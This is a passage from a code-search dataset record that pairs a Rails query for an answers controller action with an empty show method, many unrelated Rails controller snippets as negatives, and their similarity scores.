'gricer/sessions', action: 'spread_stats', field: 'agent.name'}],\n ['operating_systems', :spread, {controller: 'gricer/sessions', action: 'spread_stats', field: 'agent.os'}],\n ['engines', :spread, {controller: 'gricer/sessions', action: 'spread_stats', field: 'agent.engine_name'}],\n ['javascript', :spread, {controller: 'gricer/sessions', action: 'spread_stats', field: 'javascript'}],\n ['java', :spread, {controller: 'gricer/sessions', action: 'spread_stats', field: 'java'}],\n ['silverlight', :spread, {controller: 'gricer/sessions', action: 'spread_stats', field: 'silverlight_major_version'}],\n ['flash', :spread, {controller: 'gricer/sessions', action: 'spread_stats', field: 'flash_major_version'}],\n ['screen_sizes', :spread, {controller: 'gricer/sessions', action: 'spread_stats', field: 'screen_size'}],\n ['color_depths', :spread, {controller: 'gricer/sessions', action: 'spread_stats', field: 'screen_depth'}]\n ] ]\n ]\n end",
"def index\n #if admin, \n # show all accounts\n # else\n \n @accounts = current_user.accounts\n \n end",
"def show\n @tareapositivas = Tarea.where(listo: true)\n @tareas = Tarea.all\n end",
"def index\n @azuls = Azul.all\n end",
"def account_overview\n ::Liquid::Drops::Url.new(admin_account_path, 'Overview', '')\n end",
"def admin_types\n ['ProgrammeLeader']\n end",
"def index\n @adminstrators = Administrator.order(:name)\n end",
"def index\n administrators = Administrator.all\n admin_list = []\n administrators.each do |admin|\n admin_info = admin.attributes\n admin_info[:user] = User.find(admin[\"user_id\"])\n admin_info[:geofence] = Geofence.find(admin[\"geofence_id\"])\n admin_list << admin_info\n end\n @administrators = admin_list\n end",
"def index\n @admin_especies_catalogos = Admin::EspecieCatalogo.all\n end",
"def index\n @admins = @admin.role == 1 ? Admin.order(first_name: 'asc') : Admin.joins(:admins_sites).where(\"site_id = ?\", @site.id).order('first_name asc')\n end",
"def admin_link\n admin_app_url(:host => CONSTANTS[:base_url_host], :offering => offering, :id => self)\n end",
"def talist\n @courses = Course.all\n @user=User.all\n\n @enrollment_tas = EnrollmentTa.all\n @ta_list=get_ta_list_from_enrollment_tas(@enrollment_tas)\n render 'talist'\n\n end",
"def index\n @etapas = Etapa.all\n end",
"def index\n @tipo_apostas = TipoAposta.all\n end",
"def index\n if current_user.admin?\n @tarefas = Tarefa.where(is_done: false)\n @tarefasDone = Tarefa.where(is_done: true)\n else\n @tarefas = Tarefa.where(user: current_user, is_done: false)\n @tarefasDone = Tarefa.where(user: current_user, is_done: true)\n end\n end",
"def admin_logic\n end",
"def index\n admin_only do\n @browsertypes = Browsertype.all\n end\n end",
"def index\n @config_avaliacaos = ConfigAvaliacao.all\n add_breadcrumb \"Config. Avaliaçao\", config_avaliacaos_path, :title => \"Voltar para a Página principal\"\n\n end",
"def index\n render ('index') #render the admin_helpers view. The main page controller calls this action after the admin_helpers logs in\n end",
"def index\n @alolas = Alola.all\n end",
"def index\n @local_offers = LocalOffer.all \n @local_offers = @local_offers.paginate(:page => params[:page], :per_page => 10)\n\n render :layout => 'admin'\n end",
"def admin_view_hours_prep\n return if current_user.roles.include?(Role.admin_role)\n\n redirect_to root_path\n end",
"def index\n @tab = :admins\n @users = User.all\n end",
"def index\n @admin_restaurants = Admin::Restaurant.all\n end",
"def index\n @admin_sections = HomeSection.all\n end",
"def index\n add_breadcrumb 'Trouble Ticket'\n\n if current_user.admin == true\n @troubletickets = Troubleticket.all\n @pagy, @troubletickets = pagy(Troubleticket.all.order(:created_at))\n else\n @troubletickets =\n Troubleticket.where('user_id =?', current_user.id).order(\n 'created_at DESC'\n )\n @pagy, @troubletickets =\n pagy(\n Troubleticket.where('user_id =?', current_user.id).order(\n 'created_at DESC'\n )\n )\n end\n end",
"def index\n @areas_skills = AreasSkill.all\n end",
"def index\n @anthonies = Anthony.all\n end",
"def index\n @admin_employees = Employee.all\n end"
] |
[
"0.63056684",
"0.61741674",
"0.6075385",
"0.59923637",
"0.59923637",
"0.56929433",
"0.56762433",
"0.54978",
"0.54602677",
"0.5383253",
"0.53410506",
"0.53213066",
"0.5308411",
"0.5274259",
"0.527108",
"0.5269547",
"0.52652836",
"0.5255453",
"0.52393126",
"0.52375156",
"0.52022976",
"0.5186777",
"0.5166385",
"0.51532775",
"0.5142556",
"0.5136535",
"0.5130194",
"0.51184684",
"0.50793064",
"0.507688",
"0.50726944",
"0.5055046",
"0.5052335",
"0.50522727",
"0.5045941",
"0.50444144",
"0.50416964",
"0.5035466",
"0.5032846",
"0.5030011",
"0.502442",
"0.5018743",
"0.5018602",
"0.50171345",
"0.5015503",
"0.50074035",
"0.50052196",
"0.5004861",
"0.5003956",
"0.50037813",
"0.50032336",
"0.49927214",
"0.49913764",
"0.4983169",
"0.4983169",
"0.4983169",
"0.49807578",
"0.49777225",
"0.4974794",
"0.49745145",
"0.49677706",
"0.49627376",
"0.49609998",
"0.4957757",
"0.4952651",
"0.49477616",
"0.49339172",
"0.4930382",
"0.49300185",
"0.49289623",
"0.492685",
"0.49224088",
"0.49193272",
"0.4910939",
"0.4907941",
"0.49035728",
"0.49019015",
"0.48999292",
"0.48979586",
"0.48960334",
"0.4894223",
"0.4893346",
"0.48926315",
"0.48853862",
"0.48792708",
"0.48758084",
"0.48755357",
"0.4872684",
"0.48711124",
"0.4866091",
"0.4864011",
"0.48597032",
"0.4859544",
"0.48512676",
"0.48482734",
"0.48447424",
"0.4843384",
"0.4841754",
"0.48396483",
"0.48357126"
] |
0.50953615
|
28
|
GET /answers GET /answers.json
|
def index
@answers = Replay.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def answers\n request('answers')\n end",
"def index\n\n @answers = Answer.current\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end",
"def answers\n @celebrity = Celebrity.find(params[:id])\n @answers = @celebrity.answers\n render json: @answers\n end",
"def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end",
"def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end",
"def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end",
"def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end",
"def index\n @answers = Answer.where(url_params)\n if @answers.size == 1\n @answers.first!\n end\n render json: @answers\n end",
"def index\n @answers = @question.answers\n respond_with( @answers )\n end",
"def answers(options={})\n parse_answers(request(singular(id) + \"answers\", options))\n end",
"def index\n @question_answers = Question::Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @question_answers }\n end\n end",
"def show\n render json: @answer\n end",
"def show\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end",
"def show\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end",
"def show\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end",
"def answers(options={})\n self.class.parse_answers(request(singular(user_id) + \"/answers\", options))\n end",
"def get_answers\n @answers\n end",
"def answers(options={})\n @answers = self.class.parse_answers(request(singular(question_id) + \"/answers\", options))\n end",
"def index\n if get_event\n @v1_answers = @event.alternatives\n render json: @v1_answers\n else\n @v1_answers = V1::Answer.all\n render json: @v1_answers\n end\n end",
"def index\n @answers = Answer.all\n end",
"def index\n @answers = Answer.all\n end",
"def index\n @answers = Answer.all\n end",
"def index\n @answers = Answer.all\n end",
"def index\n @answers = Answer.all\n end",
"def get_answers_for\n user = current_user\n render_401 and return unless user\n prospect = User.find_by_id(params[:for_user_id])\n render_404 and return unless prospect\n\n answers = ShortQuestion.get_latest_n_answers_for(prospect.id, params[:num], params[:start])\n render :json => {\n :success => true,\n :answers => answers\n }\n end",
"def index\n\t\t@answers = Answer.all\n\tend",
"def index\n @answers = @question.answers.all\n\n respond_to_index\n end",
"def index\n @answers = Answer.all\n \n end",
"def answer\n survey = Survey.find(find_params)\n sa = SurveyAnswerer.new(survey)\n\n if sa.answer(answer_params)\n head :ok\n else\n render json: sa.errors, status: :unprocessable_entity\n end\n end",
"def show\n @answer = Answer.find(params[:id])\n question_id = @answer.question\n @body = @answer.body\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end",
"def responses\n question=Question.find(params[:questionId])\n render :json=> question.response\n end",
"def show\n # id from url comes in as :id key of params hash\n @question = Question.find(params[:id])\n\n @answers = @question.answers.order(created_at: :desc)\n end",
"def index\n @answers = @question.answers.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @answers }\n end\n end",
"def index\n @answer_respondents = AnswerRespondent.all\n end",
"def questions\n self.class.get(\"/2.2/questions\", @options)\n end",
"def show\n @textanswer = Textanswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @textanswer }\n end\n end",
"def index\n @answers = Answer.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @answers }\n end\n end",
"def answer_a_question\n user = current_user\n render_401 and return unless user\n question = ShortQuestion.find_by_id(params[:id])\n render_404 and return unless question\n\n obj = {\n :qid => params[:id],\n :answer => params[:choice]\n }\n \n answers = {}\n $r.multi do\n $r.lpush(\"user:#{user.id}:questions\", obj)\n $r.hincrby(\"question:#{question.id}:answers\", \"choice#{params[:choice]}\", 1)\n choices = $r.hget(\"question:#{question.id}:answers\", :num_choices)\n for i in 1..choices\n answers[i] = $r.hget(\"question:#{question.id}:answers\", \"choice#{i}\")\n end\n end\n render :json => {\n :success => true,\n :answers => answers\n }\n end",
"def show\n @questions = Question.find(params[:id])\n @answers = @question.answers.all\n end",
"def index\n @answers=Answer.all\n end",
"def new\n @answer = Answer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer }\n end\n end",
"def new\n @answer = Answer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer }\n end\n end",
"def index\n render status: :ok, json: @simple_question_alternatives\n end",
"def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @answers }\n end\n end",
"def show\n @submitted_answer = SubmittedAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @submitted_answer }\n end\n end",
"def show\n authorize! :answer, @questionnaire\n\n respond_to do |format|\n format.html {\n @answer_set = AnswerSet.new()\n @answer_set.questionnaire_id = @questionnaire.id\n @answer_set.init_questionnaire(@questionnaire)\n }\n format.json { render :json => @questionnaire.questions.to_json }\n end\n end",
"def my_scn_answers\n\t\t#collect all the answers of current user\n\t answers = current_user.answers.all.map(&:question).uniq\n\t\tif answers.present?\n\t\t# response to the JSON\n\t\trender :json=> {success: true, \"answers\" => answers.as_json('my_scn_answers')}\n\t else\n\t render :json=> { success: false, message: \"Answers are not present\" },:status=> 203\n\t end\n\tend",
"def show\n @user_answer = UserAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_answer }\n end\n end",
"def index\n @m_answers = MAnswer.all\n end",
"def show\n @answer = Answer.find(params[:id])\n authorize! :read, @answer\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end",
"def with_answers\n @questions = Question.answered\n render(:action => \"index\")\n end",
"def index\n @question_answers = QuestionAnswer.all\n end",
"def new\n @question = Question.find(params[:question_id])\n @answer = Answer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer }\n end\n end",
"def new\n @answer_set = AnswerSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer_set }\n end\n end",
"def show\n @answer = @question.answers.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @answer }\n end\n end",
"def show\n @client_answer = ClientAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @client_answer }\n end\n end",
"def answers\n @answers ||= {}\n end",
"def show\n @answer = Answer.find(params[:id])\n end",
"def index\n @asked_to_answers = AskedToAnswer.all\n end",
"def answer\n if answered?\n answers.last.answer\n else\n [{:answer => \"not answered\"}]\n end\n end",
"def render_answer\n request('answers/render')\n end",
"def index\n @given_answers = GivenAnswer.all\n end",
"def show\n\t\t@question = Question.find(params[:id])\n @answers = Answer.where(\"question_id = ?\", @question.id).order('upvote DESC')\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: { question: @question, answers: @answers } }\n\t\tend\n\tend",
"def index\n @fake_answers = FakeAnswer.all\n end",
"def show\n @online_answer = OnlineAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @online_answer }\n end\n end",
"def index\n params.require(:course)\n @questions = Course.find(params[:course]).questions.select {|q| q.answered == false}\n\n render json: @questions\n end",
"def show\n @student_answer = StudentAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student_answer }\n end\n end",
"def answers(ids=nil, **params)\n resource_request(Answer, ids, 'answers', params)\n end",
"def answers\n object.answers.collect do |a|\n {\n id: a.id,\n user_id: a.user_id,\n alternative_id: a.alternative_id\n }\n end\n end",
"def index\n @reply_answers = ReplyAnswer.all\n end",
"def getanswerable\n @the_question = Question.find(params[:id])\n @user_id = session[:user_id]\n if @the_question.user.id == @user_id\n render json: [{question: @the_question}]\n end\n end",
"def index\n @survey_answer_items = SurveyAnswerItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @survey_answer_items }\n end\n end",
"def index\n @actual_answers = ActualAnswer.all\n end",
"def answers\n @answers ||= generate_answers\n end",
"def show\n # @question_answer = Question::Answer.new\n @question = Question.find(params[:question_id])\n @answer = Answer.new(:question_id => @question.id, :quiz_id => @question.quiz.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_answer }\n end\n end",
"def new # GET /answers/new\n @answer = Answer.new\n end",
"def api\n url = \"https://wagon-dictionary.herokuapp.com/#{@answer}\"\n response = URI.open(url).read\n json = JSON.parse(response)\n return json['found']\n end",
"def answer_by_id(question, id)\n\t\t\t\tbegin\n\t\t\t\t\tanswer = question.answers.find(id)\n\t\t\t\trescue ActiveRecord::RecordNotFound\n\t\t\t\t\thalt 404\n\t\t\t\tend\n\t\t\tend",
"def get_answers_list\n @answers = Answer.find_all_by_questionare_id params[:q_id]\n unless @answers.blank?\n render :partial => \"answers_list\"\n else\n render :text => \"No Record Found\"\n end\n end",
"def answer_list\n answers = Quiz.where(id: params[:ids]).map{|quiz| [quiz.id => quiz.answer]}\n render json: {status: 200, answers: answers.flatten, msg: \"Success.\"}\n end",
"def index\n @user_answers = UserAnswer.all\n end",
"def verify_answer\n answer = Answer.find(params[:id])\n\n respond_to do |format|\n if answer.verify_answer(params)\n format.json { render :json => true }\n else\n format.json { render :json => false }\n end\n end\n end",
"def index\n @possible_answers = PossibleAnswer.all\n end",
"def show\n @answer = Answer.new\n respond_to do |format|\n format.html { render }\n format.json { render json: {question: @question.to_json, insights: @question.insights.order(created_at: :desc)} }\n format.xml { render xml: @question.to_xml }\n end\n end",
"def new\n @questions = Question.all\n @question = Question.new\n @answers = @question.answers.build\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def new\n @answer = Answer.new(:user_id => current_user.id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer }\n end\n end",
"def new\n @submitted_answer = SubmittedAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @submitted_answer }\n end\n end",
"def get_question_list\n json= RestClient.get(\"http://localhost:3000/questions\")\n JSON.parse(json)\n end",
"def index\n @submitted_answers = SubmittedAnswer.all\n end",
"def new\n @textanswer = Textanswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @textanswer }\n end\n end",
"def answers_by_views(options={})\n parse_answers(request(singular(id) + \"answers/views\", options))\n end",
"def show\n respond_to do |format|\n format.html {redirect_to root_path}\n format.text {render text: @answer.response}\n end\n end",
"def show\n @answer = Answer.new\n respond_to do |format|\n format.html {render} # render questions/show.html.erb\n format.json {render json: @question.to_json}\n format.xml {render xml: @question.to_xml}\n end\n end",
"def new\n @user_answer = UserAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user_answer }\n end\n end",
"def show\n @answer = Answer.find(params[:id])\n @question = @answer.question\n end",
"def index\n @questions = Question.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questions }\n end\n end",
"def show\n query = params[:search]\n puts \"Query: #{query}\"\n if query\n @answers = Answer.search(query)\n respond_to do |format|\n format.js\n end\n else\n @answers = Answer.where([\"id = ?\",1])\n end\n end",
"def new\n @quick_answer = QuickAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quick_answer }\n end\n end",
"def show\n if @user\n @answers = @question.answers.shuffle\n @equestion = @question.as_json.merge({:answers => @answers, :hearts => @user.hearts})\n render :json => @equestion\n else \n render text: \"Token failed verification\", status: 422\n end\n end",
"def index\n @my_exams = MyExam.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @my_exams }\n end\n end"
] |
[
"0.8011635",
"0.7718146",
"0.7686177",
"0.76641846",
"0.76641846",
"0.76641846",
"0.76641846",
"0.75861204",
"0.75337416",
"0.7378286",
"0.72804594",
"0.72647053",
"0.7170898",
"0.7170898",
"0.7170898",
"0.71279556",
"0.7089768",
"0.7056577",
"0.7055519",
"0.6962942",
"0.6962942",
"0.6962942",
"0.6962942",
"0.6962942",
"0.6954055",
"0.6952659",
"0.6905489",
"0.6882457",
"0.68633425",
"0.68224025",
"0.6813208",
"0.6769749",
"0.6766937",
"0.6714333",
"0.66833305",
"0.6670608",
"0.66536295",
"0.6642209",
"0.6641651",
"0.662984",
"0.6620381",
"0.6620381",
"0.6617649",
"0.6583174",
"0.65785503",
"0.6565271",
"0.6535554",
"0.6533822",
"0.65067345",
"0.64955264",
"0.64865726",
"0.648566",
"0.6471394",
"0.6462763",
"0.6462006",
"0.64613575",
"0.64604914",
"0.644918",
"0.6435281",
"0.6421099",
"0.6416281",
"0.639091",
"0.6390676",
"0.6378165",
"0.6369827",
"0.6353429",
"0.63508606",
"0.6346074",
"0.6345934",
"0.63389474",
"0.63359904",
"0.633054",
"0.63235176",
"0.63224316",
"0.6310992",
"0.62896556",
"0.62842673",
"0.6247675",
"0.62336624",
"0.6227032",
"0.6226878",
"0.62224305",
"0.6212444",
"0.6210548",
"0.6206024",
"0.61958295",
"0.61861646",
"0.618393",
"0.6183051",
"0.61819905",
"0.61812204",
"0.6179339",
"0.6168425",
"0.61601907",
"0.61535096",
"0.61473626",
"0.6139837",
"0.613889",
"0.6130003",
"0.61249375"
] |
0.6625375
|
40
|
GET /answers/1 GET /answers/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @answers = Answer.where(url_params)\n if @answers.size == 1\n @answers.first!\n end\n render json: @answers\n end",
"def index\n\n @answers = Answer.current\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end",
"def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end",
"def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end",
"def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end",
"def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end",
"def answers\n @celebrity = Celebrity.find(params[:id])\n @answers = @celebrity.answers\n render json: @answers\n end",
"def show\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end",
"def show\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end",
"def show\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end",
"def answers\n request('answers')\n end",
"def show\n render json: @answer\n end",
"def index\n @answers = @question.answers\n respond_with( @answers )\n end",
"def index\n @question_answers = Question::Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @question_answers }\n end\n end",
"def show\n @answer = Answer.find(params[:id])\n question_id = @answer.question\n @body = @answer.body\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end",
"def index\n if get_event\n @v1_answers = @event.alternatives\n render json: @v1_answers\n else\n @v1_answers = V1::Answer.all\n render json: @v1_answers\n end\n end",
"def get_one\n question_data = Question.new.get_one( params[:id] )\n return render json: question_data\n end",
"def get_answers_for\n user = current_user\n render_401 and return unless user\n prospect = User.find_by_id(params[:for_user_id])\n render_404 and return unless prospect\n\n answers = ShortQuestion.get_latest_n_answers_for(prospect.id, params[:num], params[:start])\n render :json => {\n :success => true,\n :answers => answers\n }\n end",
"def show\n # id from url comes in as :id key of params hash\n @question = Question.find(params[:id])\n\n @answers = @question.answers.order(created_at: :desc)\n end",
"def responses\n question=Question.find(params[:questionId])\n render :json=> question.response\n end",
"def answer_a_question\n user = current_user\n render_401 and return unless user\n question = ShortQuestion.find_by_id(params[:id])\n render_404 and return unless question\n\n obj = {\n :qid => params[:id],\n :answer => params[:choice]\n }\n \n answers = {}\n $r.multi do\n $r.lpush(\"user:#{user.id}:questions\", obj)\n $r.hincrby(\"question:#{question.id}:answers\", \"choice#{params[:choice]}\", 1)\n choices = $r.hget(\"question:#{question.id}:answers\", :num_choices)\n for i in 1..choices\n answers[i] = $r.hget(\"question:#{question.id}:answers\", \"choice#{i}\")\n end\n end\n render :json => {\n :success => true,\n :answers => answers\n }\n end",
"def show\n @submitted_answer = SubmittedAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @submitted_answer }\n end\n end",
"def new\n @answer = Answer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer }\n end\n end",
"def new\n @answer = Answer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer }\n end\n end",
"def show\n authorize! :answer, @questionnaire\n\n respond_to do |format|\n format.html {\n @answer_set = AnswerSet.new()\n @answer_set.questionnaire_id = @questionnaire.id\n @answer_set.init_questionnaire(@questionnaire)\n }\n format.json { render :json => @questionnaire.questions.to_json }\n end\n end",
"def index\n @answers = Answer.all\n end",
"def index\n @answers = Answer.all\n end",
"def index\n @answers = Answer.all\n end",
"def index\n @answers = Answer.all\n end",
"def index\n @answers = Answer.all\n end",
"def show\n @textanswer = Textanswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @textanswer }\n end\n end",
"def new\n @answer_set = AnswerSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer_set }\n end\n end",
"def index\n @answers = @question.answers.all\n\n respond_to_index\n end",
"def index\n @answers = Answer.all\n \n end",
"def new\n @question = Question.find(params[:question_id])\n @answer = Answer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer }\n end\n end",
"def show\n @answer = Answer.find(params[:id])\n end",
"def index\n\t\t@answers = Answer.all\n\tend",
"def show\n @user_answer = UserAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_answer }\n end\n end",
"def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @questionnaire }\n end\n end",
"def show\n @client_answer = ClientAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @client_answer }\n end\n end",
"def get_answers\n @answers\n end",
"def show\n if @v1_answer\n render json: @v1_alternative\n else\n render json: get_errors(@v1_alternative), status: :unprocessable_entity\n end\n end",
"def show\n @answer = @question.answers.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @answer }\n end\n end",
"def index\n render status: :ok, json: @simple_question_alternatives\n end",
"def index\n @answers = @question.answers.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @answers }\n end\n end",
"def answers(options={})\n parse_answers(request(singular(id) + \"answers\", options))\n end",
"def answer_by_id(question, id)\n\t\t\t\tbegin\n\t\t\t\t\tanswer = question.answers.find(id)\n\t\t\t\trescue ActiveRecord::RecordNotFound\n\t\t\t\t\thalt 404\n\t\t\t\tend\n\t\t\tend",
"def show\n\t\t@question = Question.find(params[:id])\n @answers = Answer.where(\"question_id = ?\", @question.id).order('upvote DESC')\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: { question: @question, answers: @answers } }\n\t\tend\n\tend",
"def answer\n survey = Survey.find(find_params)\n sa = SurveyAnswerer.new(survey)\n\n if sa.answer(answer_params)\n head :ok\n else\n render json: sa.errors, status: :unprocessable_entity\n end\n end",
"def show\n @answer = Answer.find(params[:id])\n authorize! :read, @answer\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end",
"def show\n @form = Form.where(id: params[:id]).includes(:questions => :answers).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @form }\n end\n end",
"def show\n @questions = Question.find(params[:id])\n @answers = @question.answers.all\n end",
"def index\n @answers = Answer.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @answers }\n end\n end",
"def show\n @online_answer = OnlineAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @online_answer }\n end\n end",
"def getanswerable\n @the_question = Question.find(params[:id])\n @user_id = session[:user_id]\n if @the_question.user.id == @user_id\n render json: [{question: @the_question}]\n end\n end",
"def new\n @quick_answer = QuickAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quick_answer }\n end\n end",
"def show\n idx = params[:id]\n @question = Question.find(params[:id])\n @newAnswer = Answer.new(:question_id => params[:id])\n @Answers = Answer.where(question_id: idx)\n @answer = Answer.all\n end",
"def show\n # @question_answer = Question::Answer.new\n @question = Question.find(params[:question_id])\n @answer = Answer.new(:question_id => @question.id, :quiz_id => @question.quiz.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_answer }\n end\n end",
"def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionnaire }\n end\n end",
"def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionnaire }\n end\n end",
"def index\n @answer_respondents = AnswerRespondent.all\n end",
"def show\n @survey_answer_item = SurveyAnswerItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey_answer_item }\n end\n end",
"def questions\n self.class.get(\"/2.2/questions\", @options)\n end",
"def new # GET /answers/new\n @answer = Answer.new\n end",
"def index\n @answers=Answer.all\n end",
"def show\n @student_answer = StudentAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student_answer }\n end\n end",
"def show\n @answer = Answer.find(params[:id])\n @question = @answer.question\n end",
"def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @answers }\n end\n end",
"def index\n @answers = Replay.all\n end",
"def new\n @answer = Answer.new(:user_id => current_user.id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer }\n end\n end",
"def show\n @answer = Answer.new\n respond_to do |format|\n format.html { render }\n format.json { render json: {question: @question.to_json, insights: @question.insights.order(created_at: :desc)} }\n format.xml { render xml: @question.to_xml }\n end\n end",
"def show\n \t\tquestion = Question.find(params[:id])\n \t\tputs \"QUESTION: #{question.name}\"\n \t\trender json: question\n \tend",
"def render_answer\n request('answers/render')\n end",
"def index\n @m_answers = MAnswer.all\n end",
"def new\n @submitted_answer = SubmittedAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @submitted_answer }\n end\n end",
"def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end",
"def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end",
"def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end",
"def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end",
"def show\n @report_question_answer = ReportQuestionAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @report_question_answer }\n end\n end",
"def index\n @survey_answer_items = SurveyAnswerItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @survey_answer_items }\n end\n end",
"def new\n @questions = Question.all\n @question = Question.new\n @answers = @question.answers.build\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def show\n @answer = Answer.new\n respond_to do |format|\n format.html {render} # render questions/show.html.erb\n format.json {render json: @question.to_json}\n format.xml {render xml: @question.to_xml}\n end\n end",
"def index\n @questions = Question.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questions }\n end\n end",
"def show\n @my_question = MyQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @my_question }\n end\n end",
"def answers(options={})\n self.class.parse_answers(request(singular(user_id) + \"/answers\", options))\n end",
"def index\n @questions = Question.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @questions }\n end\n end",
